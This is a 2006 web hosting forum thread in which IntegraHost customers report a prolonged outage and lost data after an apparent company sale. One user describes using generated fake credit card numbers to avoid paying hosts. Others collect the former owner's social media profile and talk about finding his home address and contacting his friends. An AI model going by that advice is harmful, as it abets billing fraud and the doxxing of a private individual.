IntegraHost [merged]

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Posted by Yeah_Buddy, 11-14-2006, 10:47 PM
IntegraHost was bought out by a bigger company on the first of November. I will not say who that company is now, but I will say this. I think they have begun to merge, to say the least. Their live chat button link has been removed, their Kayako support center now turns up an error stating - License Error: Key file has expired. My service with IntegraHost has not been that great. The service itself is pretty good, but their customer support was something like 2/10. We won't go into that now, but hopefully cPanel, FTP, and other important services will be working again soon ... it seemed to me like the company never took anything seriously, and their support requests were always delayed (I have an outstanding phone call request that was filed on the 8th of October) ... so I hope my service doesn't stay down for a long time. I will keep this post updated along when I find out more. -Sam EDIT: I am so sick of dealing with these guys, its almost impossible to get in touch with anybody that knows anything. Also, dont give me anything like 'why didnt you change hosts', I am not new to the hosting market and I have reasons for everything I do. Last edited by Yeah_Buddy; 11-14-2006 at 11:01 PM.
Posted by CircusMusic, 11-22-2006, 05:05 PM
Is there any update to what's happening? The main page is down?
Posted by oates151, 11-22-2006, 08:54 PM
The server that im on ns9.integrahost.com, which i believe is srv05, is down. Im sick of integras crap. They have lots of support, but their agents are crap, they over sell, their servers are overloaded and very slow, im switching over to clearify.net Last edited by oates151; 11-22-2006 at 08:57 PM.
Posted by qwan, 11-22-2006, 10:34 PM
What?? MY site has been experiencing a lot of donwtime. Who the hell is this big company. Right now my website has been down since yesterday. IF this is how this "big company" takes care of it "bought over" customers they can very well go to hell. Any how integrahost sucked so bad. They had a hackers attack and i had downtime many times a day for two days. The reason they gave me was that their firewall is blocking ips of entire ISPs. They are telling me in a attempt to "convince" me that apart from my isp almost 50 isp around the world is blocked. In my country itself they had blocked 3 isps. That is not the way to deal with a hack attack. I even had my account hacked once. But either the hacker was a good guy or my stars were lucky, only the index page was replaced. Integrahost took no responsibility saying that i must have got my password hacked. Which i know it wasnts thecase as only my websites(not my whm) were hacked each of the websites have different password. I am sure the hacking attack was by some of they disgruntled previous customers.
Posted by qwan, 11-22-2006, 11:03 PM
Why are you not telling us the name of the company that bought it over. I am sure everyone will be benifited and atleast the customer who are suffering downtime(two days now) can go and directly contact the new company and hold them responsible. oates151 I am too on the same server i thought it would be a great idea to be on the same server as the main website(integrahost) but these people dont seem to be bothered if their mains wesbite is down.
Posted by sc00bs, 11-24-2006, 12:45 AM
Hi Guys Anybody know what has happened to Integrahost, they just seem to have disappeared? I had a web site wih them and they just seem to have gone offline. JohnB
Posted by Cirtex, 11-24-2006, 12:48 AM
Hi I just did a search and found this thread regarding Integrahost: http://www.webhostingtalk.com/showthread.php?t=562704 Seems like they've been purchased by another company and is under new management. Cheers
Posted by sc00bs, 11-24-2006, 12:49 AM
My site is also down, real pain in the A%s. JohnB
Posted by TheLaw, 11-24-2006, 12:54 AM
Hello, As Cirtex said, Integrahost has been purchased by another company. Hope you get in better hands with new company handling Integrahost now. Sorry to hear you were not informed about the sale of the company from the ex-owner of Integrahost. Good luck
Posted by sc00bs, 11-24-2006, 01:00 AM
My site has been down for 2 days now and their home page has just disappeared. Seems strange that they would just down all their servers for an extended period without any sort of warning. Have they not perhaps just gone belly up? JohnB
Posted by TheLaw, 11-24-2006, 01:09 AM
I got no ideas, just hope you did not had a DB that maybe has gone 'belly up' as you said. I presume they would not receive even an e-mail if you sent them, their server is down. Keep us updated, we are curious to see how all this will end up.
Posted by Energizer Bunny, 11-24-2006, 01:11 AM
Oh isnt that the host that offered like 40 gig space and 500 gig bw for like 7 bucks a month? I remember some user wanted to switch cause they couldnt install ror on the server.
Posted by sTag-Dan, 11-24-2006, 01:25 AM
It's been ten days since you made this thread, I just want to know if the issues have been resolved?
Posted by sTag-Dan, 11-24-2006, 01:27 AM
40 gig space and 500 gig bw for like 7 bucks a month? That's one hell of a deal.
Posted by WireNine, 11-24-2006, 01:34 AM
Seems to be down here. Wonder whats up with the new management.
Posted by Commit1 Anthony, 11-24-2006, 01:37 AM
That seems to explain it all...
Posted by codeartsnepal, 11-24-2006, 02:56 AM
I have a reseller hosting package in Integrahost. The server was once hacked, it is ok. The server used to go down for some time it is ok. Somtimes the database table used to lost, they say permission problem, it is also ok. But now. My sites are down since two day. What shall I tell my clients about it. I sold a hosting package for a news site. You all know how a news site is to respond. I found from this thread that a new company is taking over the integrahost. How they did not informed us ? I am just freaked out by this things. I donot know what shall I do. Switch to new hosting company or wait for what the new Management will deliver. Any way please update this thread regularly.
Posted by Frimon86, 11-24-2006, 03:09 AM
Wow so he finally sold his company. To be honest, I think Integra Host is tired. The company needs to just die, I mean it's been through so many owners, so many rough times, the companys useless. They just need to put Integra to sleep, seriously. Any update on this? Im not with Integra ( thank god! ) but I just want to know whats up, Im sorry the owner sold out.
Posted by Quartz, 11-24-2006, 03:23 AM
Hopefully, after everything is finished, that they reimburse
Posted by sc00bs, 11-24-2006, 03:38 AM
Hey, My backups are a few weeks old ! All I want to do is get a copy of my site so I can set it up somewhere else. JohnB
Posted by sc00bs, 11-24-2006, 03:40 AM
Would have been nice if they had just emailed their customers! JohnB
Posted by sc00bs, 11-24-2006, 03:43 AM
I need 5 posts before I can PM them to try and find out what is going on (they aren't answering emails). I think that this is my 5th JohnB
Posted by codeartsnepal, 11-24-2006, 03:44 AM
That is what a customer expects from a good company. Last edited by codeartsnepal; 11-24-2006 at 03:48 AM.
Posted by WireNine, 11-24-2006, 03:52 AM
A good reliable company would have informed their customers regarding the sale.
Posted by BrianCryer, 11-24-2006, 03:52 AM
Given that integrahost are down (and have never been good at keeping up), and it seems impossible to get through to them, does anyone have any idea how to transfer a domain away from them? I made two mistakes with my integrahosting, the first was to use their hosting and the second was to take them up on their "free domain" offer. They register domains in their own name, not the name of the customer. I think this makes it almost impossible to migrate away from them. Anyone have any ideas? I'm quite attached to the name and I've built up a half respectible google rating and I'd rather not start from scratch.
Posted by Aussie Bob, 11-24-2006, 04:20 AM
That's the appropriate thing to do.
Posted by Deltrumweb, 11-24-2006, 05:53 AM
Site is down ! It seems like they have gone to the linux box in the sky
Posted by rv_irl, 11-24-2006, 09:03 AM
They should really inform the customers of the move or at least on what is happening.. Good luck to you all!
Posted by sc00bs, 11-24-2006, 12:02 PM
Thanks, I hope so as well
Posted by oates151, 11-24-2006, 12:28 PM
Doesn't look like it - Integra was great when I first started with them, but then the server that I was on (ns5.integrahost.com) had terrible CPU overload DOS attacks, so I requested to go on a new server and then put me on their server, which hosts the main site, and I mean c'mon, what company doesn't give a crap about their own website which hosts their tech support center and etc....!! At this point, i'm probably just going to sue Integra for the loss of revenue and every other item the violated off their own policy such as 99.98% uptime, 24/7 tech support etc... This is absolutely terrible.
Posted by Yeah_Buddy, 11-24-2006, 02:28 PM
My site is still up, and live support works etc ... But I agree, their agents don't know a thing, and they have the worst customer support I have ever experienced. I have much evidence (Live chat conversations, aim conversations, unanswered phone call requests (beginning since the 8th) and more for when I decide to go public against the whole company. For those of you whos sites were down, are they up now?
Posted by markinmiami, 11-24-2006, 02:29 PM
I am in the same boat. I signed up for their service for 2 different domain names and they own both names because they were "free" when I signed up for hosting. Now I am completely stuck and can't even transfer these names to another host. Worse than that, my email is down and I can't access anything. They were never any good. I never had a good experience with their customer service. The only person that could ever resolve anything was Kyle Springer but it took him a month to do it. I guess I learned my lesson on this one..you get what you pay for.
Posted by edu4vision, 11-24-2006, 02:57 PM
You learn it the hard way. Another lesson, don't keep your domain with your host. That's waayyy too risky
Posted by gwhiteley, 11-24-2006, 03:48 PM
I have been a reseller with Integrahost for about 8 months and there support has become very bad, starting out it was great. I was just in the process of moving my clients sites over to a new provider when Integrahost fell of the face of the earth 2 days ago. As of this post there site is still offline and so are all of my clients! I'm not a big hosting company but this is sure going to HURT the pocket book. Last edited by gwhiteley; 11-24-2006 at 03:51 PM.
Posted by prudents, 11-24-2006, 05:37 PM
My site is out of service and down too. I do not know why integrahost is offline. It is 3 days now and not online. No phone contact or where to contact them. Something must be done about this.
Posted by prudents, 11-24-2006, 05:44 PM
even if integrahost is down or even sold to another company, what happen to there previous client with the new company. Would they still maint there account. My site is down too for 3 days now. I am just fagged of this company. They needs to be sue.
Posted by oates151, 11-24-2006, 06:43 PM
No? Im on the server that their main website is on, which means theirs no tech support. I can't access their website at all and they don't have phone support etc.. I'll be suing if they dont refund me or get their servers back up...
Posted by prudents, 11-24-2006, 07:07 PM
which company bought integrahost.com Can someone please post the company name and website here. My customers are on my neck . I need to contact to reback up my datas and have a good hosting provider
Posted by oates151, 11-24-2006, 07:09 PM
Same here let us know please
Posted by TheLaw, 11-24-2006, 07:17 PM
Impossible? I think they are avoiding to get contacted actually (their phone number is invalid on their domain name whois). You can transfer away a domain anytime you want, as long as the whois informations given on the domain name match your personal informations (also contact e-mail MUST be valid and be your e-mail, you will have to approve the transfer via that e-mail). sc00bs Have you contacted them (now you got 7 posts already), any news? It's so hard to say you will be able to get a copy of your site since noone really knows if the hardware was sold too or it was just client base sale and hardware got wiped and all data erased. *crosses his fingers for you and your website files*
Posted by postyouroffer, 11-24-2006, 07:33 PM
Anybody knows the telephone number of the office of integrahost other than a 1800 number? I believe I made a purchase of two domain names not free; checking them they does not appear to be in my name. How do I claim back my name? Any help appreciated
Posted by TheLaw, 11-24-2006, 07:49 PM
Would be better if you open your own thread about your domain name issue, like that users would better locate your issue , apart that, do you have the confirmation of order e-mail ? If yes, then it's easy, track the registrar of your domain, contact them. I believe they would solve the issue.
Posted by Energizer Bunny, 11-24-2006, 08:44 PM
Oh my bad i did search on wht as to which thread i found that info few days back but it was actually 20Gig space and Unmetered bw for 7 bucks. Here is thread : http://webhostingtalk.com/showthread...tegrahost+ruby Read the reply and research done by ldcdc Cheers
Posted by markinmiami, 11-24-2006, 09:47 PM
This is a first for me. My domain name is under integrahost as the domain registrar so I can't transfer anything. I feel as if my domain name has been kidnapped!! No email, no website and I can't even transfer the domain. Who do we file a complaint with??
Posted by oates151, 11-24-2006, 09:52 PM
thats my question at this point. I think they were planning this whole thing. They dont have a phone number anymore, their emails cant be accessed since their server's down, their website is down so no trouble tickets, their address on the WHOIS is probably fake. This is a crazy plan.. what should all of us do?
Posted by PremiumHost, 11-24-2006, 09:58 PM
It's always recommended that you keep your own backup What you should do is looking for a new provider. The company bought integrahost couldn't be a good provider as they don't value and care about clients transferred from integrahost.
Posted by markinmiami, 11-24-2006, 10:21 PM
I found Integrahost's REAL phone number and address in one of my old emails from a domain transfer that I did. I will provide it for those of you looking to sue or simply contact these jerks. I called the number but it's just an automated system. I just want my domain name transferred to another host but it is registered to THEM so I am completely stuck here. IntegraHost Name : IntegraHost .com Address : 2413 Nashville Road : Office 114 City : Bowling Green State/Province : Kentucky Postal code : 42103 Country : US (United States) Email address : admin@integrahost.com Phone : +1.8665753718
Posted by infernostudio, 11-25-2006, 12:55 AM
Obviously they knew about this for a while and never informed us that this was coming. At least a warning would have been less hard to swallow. This would have given us time to backup our files. I was informed from another integrahost client that they took the next quarter hosting fee out of his account on Nov 21, the day that they closed shop. What a coincident! This issue needs to be brought to a class action lawsuit for losses, including hosting fees that have not been refunded. I am not about to site back, after putting faith into this company and get ripped off. We had many clients on our server and the downtime has been detrimental to our business. As business owners we need to get together and file a class action lawsuit. This is the only solution for our losses. Last edited by infernostudio; 11-25-2006 at 12:59 AM.
Posted by sc00bs, 11-25-2006, 01:11 AM
No reply from them as yet, have sent emails and PM's to Kyle but nothing. JohnB
Posted by sc00bs, 11-25-2006, 01:13 AM
Received this mail back this morning: Delivery to the following recipient has been delayed: kyle@integrahost.com Message will be retried for 2 more day(s) Technical details of temporary failure: TEMP_FAILURE: DNS Error: Timeout while contacting DNS servers Seems like their mail server is disconnected as well JohnB
Posted by The3bl, 11-25-2006, 02:34 AM
Yeah until your web site and files disappear.
Posted by Martie, 11-25-2006, 02:53 AM
Yep, its unfortunate
Posted by prudents, 11-25-2006, 06:31 AM
how can we get this lawsuit filed? I leave in Nigeria not USA. Someone needs to get something done fast. This is a big slap and scam so far.....
Posted by prudents, 11-25-2006, 07:00 AM
This is crazy. A company went off without prior notification to the customer. They needs to be paid for this. My site has been down for 4 days now. I called a number which is going but no one to pick up the calls. What can one do. All my clients under my neck now. Oh my God safe me from this ....
Posted by Generation Xeon, 11-25-2006, 07:30 AM
Well, i guess once your back up is there with you, there are not hassles, and cheer up there are very good hosting companies out there to support your website. So like keep us udpated with your events and your conversation with them. Well you dont need to worry we will plan it together of what exactly to do.
Posted by prudents, 11-25-2006, 07:34 AM
well... only wish and hope they still have the back ups on there server. Or else.... umh.. integrahost is in HOT okraw soup
Posted by Generation Xeon, 11-25-2006, 08:19 AM
lol...i hope he is out of this one.
Posted by prudents, 11-25-2006, 09:37 AM
umh... it is unfair though and painful. I only wish I get my site back. I have an organization like Crime victim foundations hosted, now i am in **** and they are on my neck. No back up of datas. Who has a contact actually. Please help out !!!!
Posted by oates151, 11-25-2006, 10:00 AM
These guys are really smart cookies planning all this. The server that their e-mail addresses are setup on is down, their phone numbers have been changing ever since they got them and I have never been able to get an actual agent on the line. Their address is most likely a fake. Wow is all I have to say. Prudents: You should have kept a backup. I know ever since these servers have been woobely I have been backing it up every 2 days. As for the lawsuit, we can't fight you battles. Some of us, if we need to file a lawsuit at all, will be also fighting for the loss of data aswell, which will may help everyone since Integra will either have to pay up or open up their servers and let everyone take their stuff back, but when it comes down to refunds, most of us are just looking to get our 50-80 bucks and just get out. For those looking to switch over now, I reccomend Clearify.net. The owner Ken is absolutely great. He's on AIM almost 24/7 (Which shows us that its not a punk 14 year old running the company ) and he replies to tickets within 5-10 minutes most of the time. Good luck to all - I'll keep my eye here and update you all with anything that I find. I'll also be speaking with a lawyer regarding all this to see what I can do. Regards, Pat
Posted by prudents, 11-25-2006, 10:17 AM
they offers only 1 reseller plan . Why?
Posted by prudents, 11-25-2006, 10:19 AM
Pat, what best advise can you give and also how i can still retrieve the datas from them. My customers are on my neck. I need a suitable advise pls
Posted by call6108, 11-25-2006, 01:56 PM
Hi Guys I filed a complaint against Intregrahost at bbb.org (better business bureau), there is some information there you might find useful, i won't undisclose it here. I cant believe intrahost did this to us! the charged me my reseller plan on Nov 3rd I got all my customers complaining, i think i'm getting a hosting account today to hold my client websites but.. DATABASES ARE GONE! THANK YOU INTEGRAHOST FOR SCREWING US BIG TIME! YOU GUYS FORGOT TO PUT THE SERVERS UP BUT DIDN'T FORGET TO CHARGE US !!!! I"M SO DISSAPOINTED!
Posted by chaines, 11-25-2006, 02:32 PM
markinmiami thanks for the other address. I had one on Covin gton St. in Bowling Green. That one is no good. I filed a police report with the Bowling Green PD today. They went to the Covington address and found out that it was no good. So they're searching for Springer. Hopefully they can find something at the other address. If I were Kyle Springer, I'd come forward to remedy the problems he has knowingly caused everyone because the heat is just going to get worse for him.
Posted by prudents, 11-25-2006, 04:21 PM
Kyle , you did all this to many ppl worldwide. He deserves to be purnish for this. Keep runing and we are on the run with you... sooner you get caught
Posted by call6108, 11-25-2006, 05:02 PM
Hi guys, any updates on IntegraHost? I found this phone number: 270-782-7818 call them!... I hope to have the server up atleast for a DAY so I can get my customers out!... If someone files a lawsuit against the owners of intergrahost.. count me!... This is very irresponsible from their part and if there is a new company, PLEASE RESELASE THE NAME or PHONE so we can get OUR information back, holding any information about the only hurts the webdesign/webhosting industry .. WE customers are the ones who are getting screwed and getting in trouble. I had to buy a new account elsewhere to put my customer's websites up... WHO IS GOING to give me that money back??? KYLE!?? i don't think so... So PLEASEE!!! LETS GET THIS GUYS BACK TO WORK AND PUT THE SERVERS UP!!!!!, I don't know how... but we must act as group and recover our money and more important DATA! Thanks
Posted by prudents, 11-25-2006, 05:19 PM
did you ever call that number. I just called the number and was just ringing and no one could pick up the call. umh.. do you know how soon the server could just show up online? Please advise
Posted by call6108, 11-25-2006, 05:34 PM
Hi I got the phone number from their Better Business Bureau Registry.. so it must be valid (i hope) maybe an office phone number. I don't know when the server is going online... I WISH today ! to take all my stuff out!... This problem has been incredible.. I have been with BAD hosting companies but they never done something like this. Shame on you integrahost!
Posted by prudents, 11-25-2006, 07:36 PM
umh.. what a chrismas offer from integrahost .... I am still waiting for an updates plss
Posted by markinmiami, 11-25-2006, 10:10 PM
Will this ever end? I contacted GKG.NET (the registrar of my domain name) and explained to them that my domain name has Integrahost listed as the registered owner but that the name is mine, so now they want $100.00 to start a dispute resolution. I think that it is ridiculous that I should pay $100.00 ransom for my kidnapped domain name and not even have an assurance that I won't get it back. This is getting to be more and more BS.
Posted by markinmiami, 11-25-2006, 10:13 PM
I have found out more info about Kyle Springer including his myspace account which is pretty funny. I just posted this one because I need 5 posts to post a link...so sorry for the filler.
Posted by markinmiami, 11-25-2006, 10:15 PM
I found more info on Integrahost and Kyle Springer. Integrahost's headquarters is (was) inside of the Research and Development office of Western Kentucky University. The building is called the Innovation and Commercialization Center. Integrahost is still listed as a tenant on their website. I sent the center an email about Integrahost but didn't receive a reply. The info for the site is here: Central Region ICC 2413 Nashville Road Small Business Accelerator Bowling Green KY, 42101 P: 270-901-3490 F: 270-721-0700 E: buddy@insightbb.com Their website is http://www.centralregionicc.com I also found KYLE SPRINGERS MYSPACE ADDRESS. He look exactly as I imagined him to look. hehe Anyway, here is the address. I'll be tracking down his home phone and address next. http://profile.myspace.com/index.cfm...endid=12876477 Enjoy!
Posted by LeadShurtugal, 11-25-2006, 11:55 PM
You think you have it bad? I just received another bill today, for $60.00(something like that), when I signed up it was 59.70. and now they go down. I emailed them for termination before all of this problem started. I thought my email was down so I went to my gmail account, and sent them an email. I never got a reply. Instead they send me a letter for my next payment in January. I told them the reason for cancelation, I couldn't afford the next bill. They send me it anyways. It says its due 1/10/07. And one of my friends online, Ex0dus of Shockv2, has 52(last time I had the list of all that was hosted with him) people hosted with him. So he has to try to get things sorted out while working on the development of MetaBBv7.
Posted by infernostudio, 11-26-2006, 12:12 AM
I will be doing the same thing. This is ridiculous!!!
Posted by infernostudio, 11-26-2006, 12:33 AM
Has anyone seen the intergrahost.com page yet? It is now going to a Test Page for Apache HTTP server. I don't know much about servers but doesn't that mean that they have reinstalled everything from scratch? Take a look at intergahost.com and see what I mean ...
Posted by codeartsnepal, 11-26-2006, 12:50 AM
Yeah, I have seen that too. They are starting up but the question is when will they start ours. My clients are threatening me for police case. Help ! Help ! Last edited by codeartsnepal; 11-26-2006 at 12:56 AM.
Posted by infernostudio, 11-26-2006, 12:53 AM
Who is starting up and what do you mean by starting up? Is there still hope you think that we will be able to retrieve our files?
Posted by codeartsnepal, 11-26-2006, 01:03 AM
It is ok that Integrahost is merging with someone but guys don't you think even the new one should inform us ? They could have atleast assured our datas. This is really an unresponsible act and sould not be left easily. People, lets do something.
Posted by codeartsnepal, 11-26-2006, 01:09 AM
Integrahost is starting up. You can at least see that a server is up. I donot know if we will be able to retrive our datas or not but hopefully they will not erase any if they want to be Back In Market Again
Posted by KNL-BSW, 11-26-2006, 01:31 AM
I'm sorry to hear about all this with IntegraHost as it semi-appears as a sale gone bad, since I remember something about the company being sold previously. Currently it appears the company to contact would be: http://www.usnetworx.net/ The nameservers are pointing to this company along with that the IP address for Integrahost.com is registered to this company.
Posted by infernostudio, 11-26-2006, 01:51 AM
What if we switched the DNS to: ns1.usnetworx.net. [206.155.47.4] [TTL=172800] [US] ns2.usnetworx.net. [206.155.47.5] [TTL=172800] [US] Would our websites show up? Is it worth a try? I know you probably don't know what is going on either, but do you think it's worth a try?
Posted by KNL-BSW, 11-26-2006, 01:55 AM
The problem is that you don't know if your domains are setup on that server. I don't know what control panel Integrahost was using, but the standard Apache Default page doesn't appear for Plesk or cPanel when they are installed. This would mean that those are not installed yet. The best I can do is tell you to contact that company and that it would probably be a good idea at this point to start looking at options to at least get your company sites back up. If your company sites are up, even on another host, and you can provide support and information of what you have to your clients you will look better than you do right now.
Posted by infernostudio, 11-26-2006, 02:19 AM
Yah I already took care of the hosting a few days ago. Got a Virtual dedicated server from godaddy and Setup my clients and our company up. The only problem is that I would like to retrieve some of the DB files on intergrahost. That would save me a few weeks.
Posted by KNL-BSW, 11-26-2006, 02:32 AM
There is nothing more I can tell you. I simply stopped in to see what was going on (Popcorn Thread ) and noticed someone said the page was up so I took the time to do some whois checks, etc... to hopefully provide some more information. Wish I could do more to help.
Posted by qwan, 11-26-2006, 02:32 AM
I am shocked I have not change my credit card number in my billing options. READ THIS EVERYONE. This is what i do with every host. After I make a payment I use one of those fake credit card generators and change my credit card number. Then you should find out their policy about suspension. Most companies give you 3 warning before suspending your account. Do this only once let them bill the fake credit card number twice then you will know that they dont keep a seperate record of you old numbers. Then everymonth before the payment or on the payment day change it to your original credit card. IF you have a pay now options then pay it then and there or else wait for it to be billed and then change it back to the fake credit card number. But you have to be alert on the billing day or else you could get your account suspended. I had done that with a previous host and they kept billing me for 3 months. Now :-( :-( :-(. I forgot to change my credit card like i have mentioned above. My billing date is december 15th. So Any ideas of what do to avoid the billing. The biggest problem is that I am using my friends card and I have already faced a problem once before which he is cool about(His bank falsely billed 235$ from godaddy.com and then revoked it the next month but said that he has to pay the "service/transaction" charges. Godaddy.com had no record of that card. The billing date was june. My friend has 3 cards and alternates this particular card was billed last in februarury. The bank could not show us a proper bill and his card is still "blocked" for "investigations" I contacted godaddy.com and told them that their reputation is at stake as this is bank fraud. Another one of my friend also had the same bank HDFC Bank Do the same thing to him with godaddy.com. The bank just gave him his previous transaction bill of the same amount. Here with me the bank just messed up big with amount. I have recieved no reply from godaddy.com when i asked for what kind of invoice or bill should i ask my bank to show me. Infact godaddy.com doesnt seem to be bothered about the bank blaming them for false billing. Now i have a reason to believe godaddy.com messed up and have ceased doing business with godaddy.com) So back to the topic. I have an option of blocking the credit card but my friend my stop allowing me to use his card( i cannot get one it is very difficult to get one in my country without being an employee of a corporate, I am a freelancer). I dont know if the credit card company will only block a transaction from integrahost . If they end up blocking all the transactions on his credit card then that is the end of the previledge for me. SO i was wondering if we could contact their merchant account and block all transactions arising from integrahost. I just cannot remember their merchant account. I heard someone saying it was 2co.com(2checkout.com) but i remember it being some other company. The company looked relaible and it was one of the only payment gateway that did not charge any monthly rent or setup fees. I had bookmarked it because of that but still cannot find it. I think this is the best option of stopping integrahost from charging anyone else. Please help.
Posted by qwan, 11-26-2006, 02:36 AM
Oh i looked at his myspace profile and there seems to be a comment as as late as november 1st. I think we all should post comments on his myspace account exposing him. and also send message to his myspace buddies like amanda. In of the comments it seems that kyle personallly spends time with her. It would be a good lead to his whereabouts.
Posted by KNL-BSW, 11-26-2006, 02:44 AM
And if he did sell the company, which if done properly left him non-liable for everything taking place now, what good would contacting him do? If he sold the company he most likely no longer has access to any portion of the company and can probably do nothing to help. I do not know if he sold the company, I'm going off of various tid bits I have read, but it seemed like that is what has transpired from what I have read. I would still recommend contacting the US Networx company and speaking with them regarding the matter. I would HIGHLY recommend this because Integrahost.com has had it's nameservers changed. This means whomever changed them to USANetworx has access to that domain registration.
Posted by qwan, 11-26-2006, 02:49 AM
Your comment make no sense(no offence). Even if he did sell the company the fact is that he never informed us. Before selling the company the service was very bad. They were getting hacked and they would just block ips of entire isp. I have faced so much music from my clients. He never informed us. All he had to do was inform us. Yes i do agree many of us would have left but it is his duty atleast we could take backups. AND FOR CRYING OUT LOUD. Did you not read the post where people are still being billed. A person was billed on november 1 for 3 months. That is outright fraud.
Posted by KNL-BSW, 11-26-2006, 02:55 AM
That would be a different discussion. What I am telling you is that if he sold the company then he will have no ability to do anything with your data. From my understanding people want there sites up so they can get Data, etc... back. That would require contacting people who may be in charge of said Data. No business owner has any requirement to tell there clients anything about what is going on behind the scenes unless they are a publicly held corporation, unfortunately. I completely agree he should have told his clients what was going on, especially when it entailed relocating customers to different servers. No matter what has entailed, it was handled in an unethical manner. But I'm not here to debate whether what he did was right or wrong and the legality of any action he took. I'm simply trying to provide people with real options to find out where there data is, if it is available, and how to get access to it. Since no one knows the whole store, nor how to get hold of Kyle, then the next logical step would be to contact the company you do know something about. From what I can tell so far no one has attempted to. Since I am not a customer of Integrahost, nor have no relationship with them, I'm not in a position to contact that company for you. Someone here needs to take that initiative.
Posted by infernostudio, 11-26-2006, 02:59 AM
Your absolutely right. I have contacted the company by email a few hours ago since your post. Guess we will just have to wait and see how it goes.
Posted by KNL-BSW, 11-26-2006, 03:10 AM
I hope you get the answer you all need and get your data back.
Posted by codeartsnepal, 11-26-2006, 07:07 AM
I am totally frustated. I wish I could get only my clients datas back.
Posted by qwan, 11-26-2006, 10:43 AM
Dont you have a local back up?? Or are you clients sites having databases. I think you (and me ) have learnt the hard way to take backups. I have an older backup. My clients have lost their email. But always tell my clients that they should download important mail via outlook to their hardisks. I visited your website I see that you have shifted to hostgator. I am hoping they are good. I might stick with them. Dont mind the cost. Just had intial support problems when i got a support executive with attitiude(richard i think his name was) But then there was this guy Brian N whom i got on the live chat and he identified and solved the problem then and there and my sites were running. Now again for soemthing else I got another guy on live support and he is of no use he told me to open a ticket but i solved the problem myself. Waiting for a month and then i will write my experience with hostgator. Till now i guess you need to be lucky to get someone like BRianN on live chat. I hope there are more support staff like him. Anyone tried contacting the new host of integrahost.??
Posted by infernostudio, 11-26-2006, 12:20 PM
Yes I tried to email them and called them once. I will try it again today. Everyone should contact them.
Posted by eDedi, 11-26-2006, 12:47 PM
IntegraHost had a number of servers with us, With no payment, we will be forced to bring even more servers down. I hope that they have backed up the files. No contact from the new owners.
Posted by oates151, 11-26-2006, 01:14 PM
Well, i'm going to try and contact the company that their name servers are pointing too. Seems that their opperators are gone for the weekend, so i'll check what tech support has to say.
Posted by oates151, 11-26-2006, 01:30 PM
Contacted US NetworX - They are completely clueless and don't even have records of IntegraHost being on their servers. Ain't that lovely! I was asked to go to the domain/billing center and I left a message for someone there at someone's desk, so I'll let you know what the outcome of that is. I am known to have a lot of hispa, so I will try and get any information whatsoever on this, since at this point, I have nothing to loose since I have lost everything already!
Posted by Energizer Bunny, 11-26-2006, 01:56 PM
LOL so integrahost was ghost company , non-existant, wonder how much the previous owner made and how many people he manage to rip off, must be reading this thread and LHAO .
Posted by sc00bs, 11-26-2006, 02:14 PM
Good news guys, looks like we might actually get our sites back, this message was on the Integrahost Home Page when I went to check if there was any news. "Earlier this week, IntegraHost experienced a hardware failure on one of our servers. The hardware failure brought down some of your websites as well as our IntegraHost Support Center. Since then, our team of engineers has been working around the clock to bring the server back up. We are also taking steps to ensure that this will not happen again. Because of the inconvenience this has cause some of you, we will be issuing a full month's credit to those effected by the hardware failure. Thank you for your patience as we work our way through this."
Posted by infernostudio, 11-26-2006, 02:42 PM

Posted by oates151, 11-26-2006, 03:00 PM
im backing up all my clients items, transfering them over to a new host and then i'll be suing Integrahost. 1 month free? How is that going to get me the clients I have lost back and the money that I have lost back aswell? Screw them
Posted by prudents, 11-26-2006, 03:01 PM
I am not intrested in there credit. However what I am in need of is my customer back up files and my files. They must be stupid for doing this. It is not now they should be posting news on there website. They are fake and Authorities need to check on them and discipline kyle for doing all this. No way he can refund me ... lol cos, i paid via western union Waiting for updates...
Posted by prudents, 11-26-2006, 03:03 PM
oates151, are you saying your site is back online on integrahost website? Please do let us know.
Posted by Yeah_Buddy, 11-26-2006, 03:10 PM
Sorry for the delayed reaction everybody, and yes: this is the company: www.usnx.com ADD THIS BUDDY TO YOUR AIM: rwilliamson@usnx.com This guy is allegedly the new owner, he also makes false promises like kyle but that guy is well aware of the things happening with IntegraHost and he actually talked to me about issues a few times.
Posted by oates151, 11-26-2006, 03:13 PM
No - that message currently on the integrahost.com can be seen because they decided to get hosting from USnetworX just so they can tell clients that the servers are down or what ever. At this point, that hardware issue could have been the hard drive or even the Raid1 backup. Nobody knows, but if the servers come back up, i'll be taking my data for myself and all my clients and take it over to my new host, and then ill sue Integra for loss or revenue. If the server comes back and my clients files are lost, i'll be suing Integra for not just loss of revenue, but loss of data. At this point prudents, we have to sit and wait for maybe a day. If nothing happens by 9 PM tommorow night, ill be back to trying to contact the owners of USNetworX trying to get information about kyle or whoever now owns Integra.
Posted by oates151, 11-26-2006, 03:16 PM
What's his AIM Screen Name again? Is rwilliamson@usnx.com his MSN? Thanks, Pat
Posted by Yeah_Buddy, 11-26-2006, 03:19 PM
ouch, my apologies ... its rwilliamson@usnx.net Add that to AIM or MSN, should work for both because I have talked to him on AIM from that same address.
Posted by prudents, 11-26-2006, 03:22 PM
HC-Sam, I got this " User rwilliamson@usnx.net is not available. " Please advise
Posted by Yeah_Buddy, 11-26-2006, 03:25 PM
Yes, he isnt online. Wait until he signs on.
Posted by Yeah_Buddy, 11-26-2006, 03:36 PM
Oh another update: Kyle's personal AIM SN is FastSilveryCivic And for those of you who missed it: The owner (I think?) of USNX.net's AIM / MSN is rwilliamson@usnx.net Update: a little conversation I just had with Kyle:
Posted by prudents, 11-26-2006, 03:42 PM
Who is this? Kyle or someone else at integrahost ? Please tell me where you get this ID and how to contact the person...
Posted by prudents, 11-26-2006, 03:44 PM
He ran away. Not talking anymore. User FastSilveryCivic is not available.
Posted by Yeah_Buddy, 11-26-2006, 03:50 PM
Yeah, that is kyle himself
Posted by eDedi, 11-26-2006, 04:30 PM
Please note: we will be takeing down the remaining servers that IntegraHost had with us in 24-48 hours time. Please backup all your files if your site is up (i am not sure who is on what server, if any). Kyle has nothing to do with IntegraHost anymore. Its the new company you should be hunting after. Jon Last edited by eDedi; 11-26-2006 at 04:34 PM.
Posted by prudents, 11-26-2006, 04:32 PM
where did u get that message from and from which server please ?
Posted by eDedi, 11-26-2006, 04:34 PM
We provide some servers to IntegraHost. I have no idea who is on what server.
Posted by prudents, 11-26-2006, 04:47 PM
my website is www.prudenthost.com and I am on the server Name Server: NS10.INTEGRAHOST.COM Name Server: NS9.INTEGRAHOST.COM Please do let me know. My site is still not up
Posted by prudents, 11-26-2006, 05:04 PM
Jon, my site came up now,but i cant access the cpanel to back up. I'm I on your server, please help me out
Posted by Ryan Smith, 11-26-2006, 05:06 PM
